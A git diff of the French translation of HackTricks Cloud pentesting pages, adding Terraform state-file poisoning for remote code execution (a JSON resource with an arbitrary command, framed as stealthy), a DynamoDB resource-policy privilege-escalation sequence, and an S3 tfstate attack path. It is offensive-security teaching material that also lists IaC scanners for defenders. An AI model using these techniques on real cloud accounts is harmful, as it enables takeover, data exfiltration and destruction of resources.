mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-30 06:30:35 -08:00
Translated ['src/pentesting-ci-cd/terraform-security.md', 'src/pentestin
This commit is contained in:
Translator
@@ -30,13 +30,13 @@ Il vous suffit d'installer terraform sur votre ordinateur.
|
||||
|
||||
Voici un [guide](https://learn.hashicorp.com/tutorials/terraform/install-cli) et voici la [meilleure façon de télécharger terraform](https://www.terraform.io/downloads).
|
||||
|
||||
## RCE dans Terraform
|
||||
## RCE dans Terraform : empoisonnement de fichier de configuration
|
||||
|
||||
Terraform **n'a pas de plateforme exposant une page web ou un service réseau** que nous pouvons énumérer, par conséquent, la seule façon de compromettre terraform est de **pouvoir ajouter/modifier des fichiers de configuration terraform**.
|
||||
Terraform **n'a pas de plateforme exposant une page web ou un service réseau** que nous pouvons énumérer, donc, la seule façon de compromettre terraform est de **pouvoir ajouter/modifier des fichiers de configuration terraform** ou de **pouvoir modifier le fichier d'état terraform** (voir le chapitre ci-dessous).
|
||||
|
||||
Cependant, terraform est un **composant très sensible** à compromettre car il aura **un accès privilégié** à différents emplacements afin de fonctionner correctement.
|
||||
|
||||
Le principal moyen pour un attaquant de compromettre le système où terraform fonctionne est de **compromettre le dépôt qui stocke les configurations terraform**, car à un moment donné, elles vont être **interprétées**.
|
||||
La principale façon pour un attaquant de pouvoir compromettre le système où terraform fonctionne est de **compromettre le dépôt qui stocke les configurations terraform**, car à un moment donné, elles vont être **interprétées**.
|
||||
|
||||
En fait, il existe des solutions qui **exécutent automatiquement terraform plan/apply après qu'une PR** soit créée, comme **Atlantis** :
|
||||
|
||||
@@ -44,7 +44,7 @@ En fait, il existe des solutions qui **exécutent automatiquement terraform plan
|
||||
atlantis-security.md
|
||||
{{#endref}}
|
||||
|
||||
Si vous parvenez à compromettre un fichier terraform, il existe différentes façons de réaliser un RCE lorsque quelqu'un exécute `terraform plan` ou `terraform apply`.
|
||||
Si vous êtes capable de compromettre un fichier terraform, il existe différentes façons de réaliser un RCE lorsque quelqu'un exécute `terraform plan` ou `terraform apply`.
|
||||
|
||||
### Terraform plan
|
||||
|
||||
@@ -52,7 +52,7 @@ Terraform plan est la **commande la plus utilisée** dans terraform et les déve
|
||||
|
||||
**Utilisation d'un fournisseur externe**
|
||||
|
||||
Terraform propose le [`external` provider](https://registry.terraform.io/providers/hashicorp/external/latest/docs) qui fournit un moyen d'interface entre Terraform et des programmes externes. Vous pouvez utiliser la source de données `external` pour exécuter du code arbitraire pendant un `plan`.
|
||||
Terraform propose le [`external` provider](https://registry.terraform.io/providers/hashicorp/external/latest/docs) qui fournit un moyen d'interfacer entre Terraform et des programmes externes. Vous pouvez utiliser la source de données `external` pour exécuter du code arbitraire pendant un `plan`.
|
||||
|
||||
Injecter dans un fichier de configuration terraform quelque chose comme ce qui suit exécutera un shell inversé lors de l'exécution de `terraform plan` :
|
||||
```javascript
|
||||
@@ -124,9 +124,37 @@ value = nonsensitive(var.do_token)
|
||||
```
|
||||
## Abuser des fichiers d'état Terraform
|
||||
|
||||
Dans le cas où vous avez un accès en écriture sur les fichiers d'état terraform mais ne pouvez pas modifier le code terraform, [**cette recherche**](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/) propose des options intéressantes pour tirer parti du fichier :
|
||||
Dans le cas où vous avez un accès en écriture sur les fichiers d'état terraform mais ne pouvez pas modifier le code terraform, [**cette recherche**](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/) propose des options intéressantes pour tirer parti du fichier. Même si vous aviez un accès en écriture sur les fichiers de configuration, utiliser le vecteur des fichiers d'état est souvent beaucoup plus sournois, car vous ne laissez pas de traces dans l'historique `git`.
|
||||
|
||||
### Suppression de ressources <a href="#deleting-resources" id="deleting-resources"></a>
|
||||
### RCE dans Terraform : empoisonnement de fichier de configuration
|
||||
|
||||
Il est possible de [créer un fournisseur personnalisé](https://developer.hashicorp.com/terraform/tutorials/providers-plugin-framework/providers-plugin-framework-provider) et simplement remplacer l'un des fournisseurs dans le fichier d'état terraform par le malveillant ou ajouter une ressource factice référencant le fournisseur malveillant.
|
||||
|
||||
Le fournisseur [statefile-rce](https://registry.terraform.io/providers/offensive-actions/statefile-rce/latest) s'appuie sur la recherche et arme ce principe. Vous pouvez ajouter une ressource factice et indiquer la commande bash arbitraire que vous souhaitez exécuter dans l'attribut `command`. Lorsque l'exécution de `terraform` est déclenchée, cela sera lu et exécuté à la fois dans les étapes `terraform plan` et `terraform apply`. Dans le cas de l'étape `terraform apply`, `terraform` supprimera la ressource factice du fichier d'état après avoir exécuté votre commande, nettoyant après lui. Plus d'informations et une démonstration complète peuvent être trouvées dans le [dépôt GitHub hébergeant le code source de ce fournisseur](https://github.com/offensive-actions/terraform-provider-statefile-rce).
|
||||
|
||||
Pour l'utiliser directement, incluez simplement ce qui suit à n'importe quelle position du tableau `resources` et personnalisez les attributs `name` et `command` :
|
||||
```json
|
||||
{
|
||||
"mode": "managed",
|
||||
"type": "rce",
|
||||
"name": "<arbitrary_name>",
|
||||
"provider": "provider[\"registry.terraform.io/offensive-actions/statefile-rce\"]",
|
||||
"instances": [
|
||||
{
|
||||
"schema_version": 0,
|
||||
"attributes": {
|
||||
"command": "<arbitrary_command>",
|
||||
"id": "rce"
|
||||
},
|
||||
"sensitive_attributes": [],
|
||||
"private": "bnVsbA=="
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
Ensuite, dès que `terraform` est exécuté, votre code s'exécutera.
|
||||
|
||||
### Suppression des ressources <a href="#deleting-resources" id="deleting-resources"></a>
|
||||
|
||||
Il existe 2 façons de détruire des ressources :
|
||||
|
||||
@@ -152,21 +180,6 @@ Parce que terraform verra que la ressource ne devrait pas exister, il la détrui
|
||||
|
||||
Pour une instance EC2, modifier le type de l'instance suffit à faire en sorte que terraform la supprime et la recrée.
|
||||
|
||||
### RCE
|
||||
|
||||
Il est également possible de [créer un fournisseur personnalisé](https://developer.hashicorp.com/terraform/tutorials/providers-plugin-framework/providers-plugin-framework-provider) et de remplacer simplement l'un des fournisseurs dans le fichier d'état terraform par le malveillant ou d'ajouter une ressource vide avec le fournisseur malveillant. Exemple de la recherche originale :
|
||||
```json
|
||||
"resources": [
|
||||
{
|
||||
"mode": "managed",
|
||||
"type": "scaffolding_example",
|
||||
"name": "example",
|
||||
"provider": "provider[\"registry.terraform.io/dagrz/terrarizer\"]",
|
||||
"instances": [
|
||||
|
||||
]
|
||||
},
|
||||
```
|
||||
### Remplacer le fournisseur sur liste noire
|
||||
|
||||
Dans le cas où vous rencontrez une situation où `hashicorp/external` a été mis sur liste noire, vous pouvez réimplémenter le fournisseur `external` en procédant comme suit. Remarque : Nous utilisons un fork du fournisseur externe publié par https://registry.terraform.io/providers/nazarewk/external/latest. Vous pouvez également publier votre propre fork ou réimplémentation.
|
||||
@@ -190,13 +203,13 @@ program = ["sh", "-c", "whoami"]
|
||||
|
||||
### [**Snyk Infrastructure as Code (IaC)**](https://snyk.io/product/infrastructure-as-code-security/)
|
||||
|
||||
Snyk propose une solution complète de scan Infrastructure as Code (IaC) qui détecte les vulnérabilités et les erreurs de configuration dans Terraform, CloudFormation, Kubernetes et d'autres formats IaC.
|
||||
Snyk offre une solution complète de scan Infrastructure as Code (IaC) qui détecte les vulnérabilités et les erreurs de configuration dans Terraform, CloudFormation, Kubernetes et d'autres formats IaC.
|
||||
|
||||
- **Fonctionnalités :**
|
||||
- Scan en temps réel pour les vulnérabilités de sécurité et les problèmes de conformité.
|
||||
- Intégration avec les systèmes de contrôle de version (GitHub, GitLab, Bitbucket).
|
||||
- Demandes de tirage de correction automatisées.
|
||||
- Conseils détaillés pour la remédiation.
|
||||
- Conseils détaillés de remédiation.
|
||||
- **Inscription :** Créez un compte sur [Snyk](https://snyk.io/).
|
||||
```bash
|
||||
brew tap snyk/tap
|
||||
@@ -208,7 +221,7 @@ snyk iac test /path/to/terraform/code
|
||||
|
||||
**Checkov** est un outil d'analyse de code statique pour l'infrastructure en tant que code (IaC) et également un outil d'analyse de composition logicielle (SCA) pour les images et les packages open source.
|
||||
|
||||
Il analyse l'infrastructure cloud provisionnée à l'aide de [Terraform](https://terraform.io/), [Terraform plan](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Terraform%20Plan%20Scanning.md), [Cloudformation](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Cloudformation.md), [AWS SAM](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/AWS%20SAM.md), [Kubernetes](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kubernetes.md), [Helm charts](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Helm.md), [Kustomize](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kustomize.md), [Dockerfile](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Dockerfile.md), [Serverless](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Serverless%20Framework.md), [Bicep](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Bicep.md), [OpenAPI](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/OpenAPI.md), [ARM Templates](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Azure%20ARM%20templates.md), ou [OpenTofu](https://opentofu.org/) et détecte les erreurs de configuration en matière de sécurité et de conformité à l'aide d'une analyse basée sur des graphes.
|
||||
Il analyse l'infrastructure cloud provisionnée à l'aide de [Terraform](https://terraform.io/), [Terraform plan](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Terraform%20Plan%20Scanning.md), [Cloudformation](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Cloudformation.md), [AWS SAM](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/AWS%20SAM.md), [Kubernetes](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kubernetes.md), [Helm charts](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Helm.md), [Kustomize](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kustomize.md), [Dockerfile](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Dockerfile.md), [Serverless](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Serverless%20Framework.md), [Bicep](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Bicep.md), [OpenAPI](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/OpenAPI.md), [ARM Templates](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Azure%20ARM%20templates.md), ou [OpenTofu](https://opentofu.org/) et détecte les erreurs de configuration de sécurité et de conformité à l'aide d'une analyse basée sur des graphes.
|
||||
|
||||
Il effectue une [analyse de composition logicielle (SCA)](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Sca.md) qui est une analyse des packages open source et des images pour les vulnérabilités et expositions communes (CVE).
|
||||
```bash
|
||||
@@ -220,8 +233,8 @@ checkov -d /path/to/folder
|
||||
D'après les [**docs**](https://github.com/terraform-compliance/cli) : `terraform-compliance` est un cadre de test léger, axé sur la sécurité et la conformité, contre terraform pour permettre la capacité de test négatif pour votre infrastructure-as-code.
|
||||
|
||||
- **conformité :** Assurez-vous que le code implémenté respecte les normes de sécurité, vos propres normes personnalisées
|
||||
- **développement piloté par le comportement :** Nous avons BDD pour presque tout, pourquoi pas pour IaC ?
|
||||
- **portable :** installez-le simplement via `pip` ou exécutez-le via `docker`. Voir [Installation](https://terraform-compliance.com/pages/installation/)
|
||||
- **développement dirigé par le comportement :** Nous avons BDD pour presque tout, pourquoi pas pour IaC ?
|
||||
- **portable :** installez-le simplement depuis `pip` ou exécutez-le via `docker`. Voir [Installation](https://terraform-compliance.com/pages/installation/)
|
||||
- **pré-déploiement :** il valide votre code avant qu'il ne soit déployé
|
||||
- **facile à intégrer :** il peut s'exécuter dans votre pipeline (ou dans des hooks git) pour garantir que tous les déploiements sont validés.
|
||||
- **séparation des tâches :** vous pouvez garder vos tests dans un dépôt différent où une équipe distincte est responsable.
|
||||
@@ -235,7 +248,7 @@ terraform-compliance -f /path/to/folder
|
||||
```
|
||||
### [tfsec](https://github.com/aquasecurity/tfsec)
|
||||
|
||||
D'après les [**docs**](https://github.com/aquasecurity/tfsec) : tfsec utilise l'analyse statique de votre code terraform pour repérer les configurations incorrectes potentielles.
|
||||
From the [**docs**](https://github.com/aquasecurity/tfsec): tfsec utilise l'analyse statique de votre code terraform pour repérer les configurations incorrectes potentielles.
|
||||
|
||||
- ☁️ Vérifie les configurations incorrectes sur tous les principaux (et certains mineurs) fournisseurs de cloud
|
||||
- ⛔ Des centaines de règles intégrées
|
||||
@@ -254,7 +267,7 @@ tfsec /path/to/folder
|
||||
```
|
||||
### [KICKS](https://github.com/Checkmarx/kics)
|
||||
|
||||
Trouvez des vulnérabilités de sécurité, des problèmes de conformité et des erreurs de configuration d'infrastructure tôt dans le cycle de développement de votre infrastructure en tant que code avec **KICS** de Checkmarx.
|
||||
Trouvez des vulnérabilités de sécurité, des problèmes de conformité et des erreurs de configuration d'infrastructure tôt dans le cycle de développement de votre infrastructure-as-code avec **KICS** de Checkmarx.
|
||||
|
||||
**KICS** signifie **K**eeping **I**nfrastructure as **C**ode **S**ecure, il est open source et est indispensable pour tout projet cloud natif.
|
||||
```bash
|
||||
@@ -262,13 +275,13 @@ docker run -t -v $(pwd):/path checkmarx/kics:latest scan -p /path -o "/path/"
|
||||
```
|
||||
### [Terrascan](https://github.com/tenable/terrascan)
|
||||
|
||||
D'après les [**docs**](https://github.com/tenable/terrascan) : Terrascan est un analyseur de code statique pour l'Infrastructure as Code. Terrascan vous permet de :
|
||||
Dans les [**docs**](https://github.com/tenable/terrascan) : Terrascan est un analyseur de code statique pour l'Infrastructure as Code. Terrascan vous permet de :
|
||||
|
||||
- Scanner sans effort l'infrastructure en tant que code pour des erreurs de configuration.
|
||||
- Surveiller l'infrastructure cloud provisionnée pour des changements de configuration qui introduisent un dérive de posture, et permet de revenir à une posture sécurisée.
|
||||
- Détecter des vulnérabilités de sécurité et des violations de conformité.
|
||||
- Atténuer les risques avant de provisionner une infrastructure cloud native.
|
||||
- Offrir la flexibilité de fonctionner localement ou de s'intégrer à votre CI\CD.
|
||||
- Offrir la flexibilité de s'exécuter localement ou de s'intégrer à votre CI\CD.
|
||||
```bash
|
||||
brew install terrascan
|
||||
```
|
||||
@@ -278,5 +291,6 @@ brew install terrascan
|
||||
- [https://alex.kaskaso.li/post/terraform-plan-rce](https://alex.kaskaso.li/post/terraform-plan-rce)
|
||||
- [https://developer.hashicorp.com/terraform/intro](https://developer.hashicorp.com/terraform/intro)
|
||||
- [https://blog.plerion.com/hacking-terraform-state-privilege-escalation/](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/)
|
||||
- [https://github.com/offensive-actions/terraform-provider-statefile-rce](https://github.com/offensive-actions/terraform-provider-statefile-rce)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -10,14 +10,63 @@ Pour plus d'informations sur dynamodb, consultez :
|
||||
../aws-services/aws-dynamodb-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### `dynamodb:PutResourcePolicy`, et éventuellement `dynamodb:GetResourcePolicy`
|
||||
|
||||
Depuis mars 2024, AWS propose des *politiques basées sur les ressources* pour DynamoDB ([AWS News](https://aws.amazon.com/about-aws/whats-new/2024/03/amazon-dynamodb-resource-based-policies/)).
|
||||
|
||||
Donc, si vous avez le `dynamodb:PutResourcePolicy` pour une table, vous pouvez simplement vous accorder, ou accorder à tout autre principal, un accès complet à la table.
|
||||
|
||||
Accorder le `dynamodb:PutResourcePolicy` à un principal aléatoire se produit souvent par accident, si les administrateurs pensent que l'octroi de `dynamodb:Put*` ne permettrait au principal que d'ajouter des éléments à la base de données - ou s'ils ont accordé cet ensemble de permissions avant mars 2024...
|
||||
|
||||
Idéalement, vous avez également `dynamodb:GetResourcePolicy`, afin de ne pas écraser d'autres permissions potentiellement vitales, mais seulement d'injecter les permissions supplémentaires dont vous avez besoin :
|
||||
```bash
|
||||
# get the current resource based policy (if it exists) and save it to a file
|
||||
aws dynamodb get-resource-policy \
|
||||
--resource-arn <table_arn> \
|
||||
--query 'Policy' \
|
||||
--output text > policy.json
|
||||
```
|
||||
Si vous ne pouvez pas récupérer la politique actuelle, utilisez simplement celle-ci qui accorde un accès complet sur la table à votre principal :
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Sid": "FullAccessToDynamoDBTable",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "arn:aws:iam::<ACCOUNT_ID>:<USER_OR_ROLE>/<USERNAME_OR_ROLENAME>"
|
||||
},
|
||||
"Action": [
|
||||
"dynamodb:*"
|
||||
],
|
||||
"Resource": [
|
||||
"arn:aws:dynamodb:<REGION>:<AWS_ACCOUNT_ID>:table/<TABLENAME>"
|
||||
]
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
Si vous devez le personnaliser, voici une liste de toutes les actions possibles de DynamoDB : [AWS Documentation](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Operations.html). Et voici une liste de toutes les actions qui peuvent être autorisées via une politique basée sur les ressources *ET lesquelles de celles-ci peuvent être utilisées entre comptes (pensez à l'exfiltration de données !)* : [AWS Documentation](https://docs.aws.amazon.com/amazondynamodb/latest/developerguide/rbac-iam-actions.html)
|
||||
|
||||
Maintenant, avec le document de politique `policy.json` prêt, mettez la politique de ressource :
|
||||
```bash
|
||||
# put the new policy using the prepared policy file
|
||||
# dynamodb does weirdly not allow a direct file upload
|
||||
aws dynamodb put-resource-policy \
|
||||
--resource-arn <table_arn> \
|
||||
--policy "$(cat policy.json)"
|
||||
```
|
||||
Maintenant, vous devriez avoir les autorisations nécessaires.
|
||||
|
||||
### Post Exploitation
|
||||
|
||||
Autant que je sache, il n'y a **aucun moyen direct d'escalader les privilèges dans AWS simplement en ayant quelques permissions `dynamodb`**. Vous pouvez **lire des informations sensibles** à partir des tables (qui pourraient contenir des identifiants AWS) et **écrire des informations dans les tables** (ce qui pourrait déclencher d'autres vulnérabilités, comme des injections de code lambda...) mais toutes ces options sont déjà considérées dans la **page Post Exploitation de DynamoDB** :
|
||||
Autant que je sache, il n'y a **aucun autre moyen direct d'escalader les privilèges dans AWS juste en ayant quelques autorisations `dynamodb` AWS**. Vous pouvez **lire des informations sensibles** à partir des tables (qui pourraient contenir des identifiants AWS) et **écrire des informations dans les tables** (ce qui pourrait déclencher d'autres vulnérabilités, comme des injections de code lambda...) mais toutes ces options sont déjà considérées dans la **page Post Exploitation de DynamoDB** :
|
||||
|
||||
{{#ref}}
|
||||
../aws-post-exploitation/aws-dynamodb-post-exploitation.md
|
||||
{{#endref}}
|
||||
|
||||
### TODO: Lire des données en abusant des Data Streams
|
||||
### TODO : Lire des données en abusant des flux de données
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -48,7 +48,20 @@ Un attaquant avec un **accès en lecture** à ceux-ci pourrait trouver des **inf
|
||||
Un attaquant avec un **accès en écriture** pourrait **modifier les données pour abuser d'un service et essayer d'escalader les privilèges**.\
|
||||
Voici quelques exemples :
|
||||
|
||||
- Si une instance EC2 stocke les **données utilisateur dans un bucket S3**, un attaquant pourrait les modifier pour **exécuter du code arbitraire à l'intérieur de l'instance EC2**.
|
||||
- Si une instance EC2 stocke les **données utilisateur dans un bucket S3**, un attaquant pourrait le modifier pour **exécuter du code arbitraire à l'intérieur de l'instance EC2**.
|
||||
|
||||
### `s3:PutObject`, `s3:GetObject` (optionnel) sur le fichier d'état terraform
|
||||
|
||||
Il est très courant que les fichiers d'état [terraform](https://cloud.hacktricks.wiki/en/pentesting-ci-cd/terraform-security.html) soient sauvegardés dans le stockage blob des fournisseurs de cloud, par exemple AWS S3. Le suffixe de fichier pour un fichier d'état est `.tfstate`, et les noms de bucket indiquent souvent qu'ils contiennent des fichiers d'état terraform. En général, chaque compte AWS a un tel bucket pour stocker les fichiers d'état qui montrent l'état du compte.\
|
||||
De plus, dans les comptes du monde réel, presque tous les développeurs ont presque toujours `s3:*` et parfois même les utilisateurs professionnels ont `s3:Put*`.
|
||||
|
||||
Donc, si vous avez les permissions énumérées sur ces fichiers, il existe un vecteur d'attaque qui vous permet d'obtenir RCE dans le pipeline avec les privilèges de `terraform` - la plupart du temps `AdministratorAccess`, vous rendant l'admin du compte cloud. De plus, vous pouvez utiliser ce vecteur pour effectuer une attaque par déni de service en faisant en sorte que `terraform` supprime des ressources légitimes.
|
||||
|
||||
Suivez la description dans la section *Abusing Terraform State Files* de la page *Terraform Security* pour un code d'exploitation directement utilisable :
|
||||
|
||||
{{#ref}}
|
||||
terraform-security.md#abusing-terraform-state-files
|
||||
{{#endref}}
|
||||
|
||||
### `s3:PutBucketPolicy`
|
||||
|
||||
|
||||
Reference in New Issue
Block a user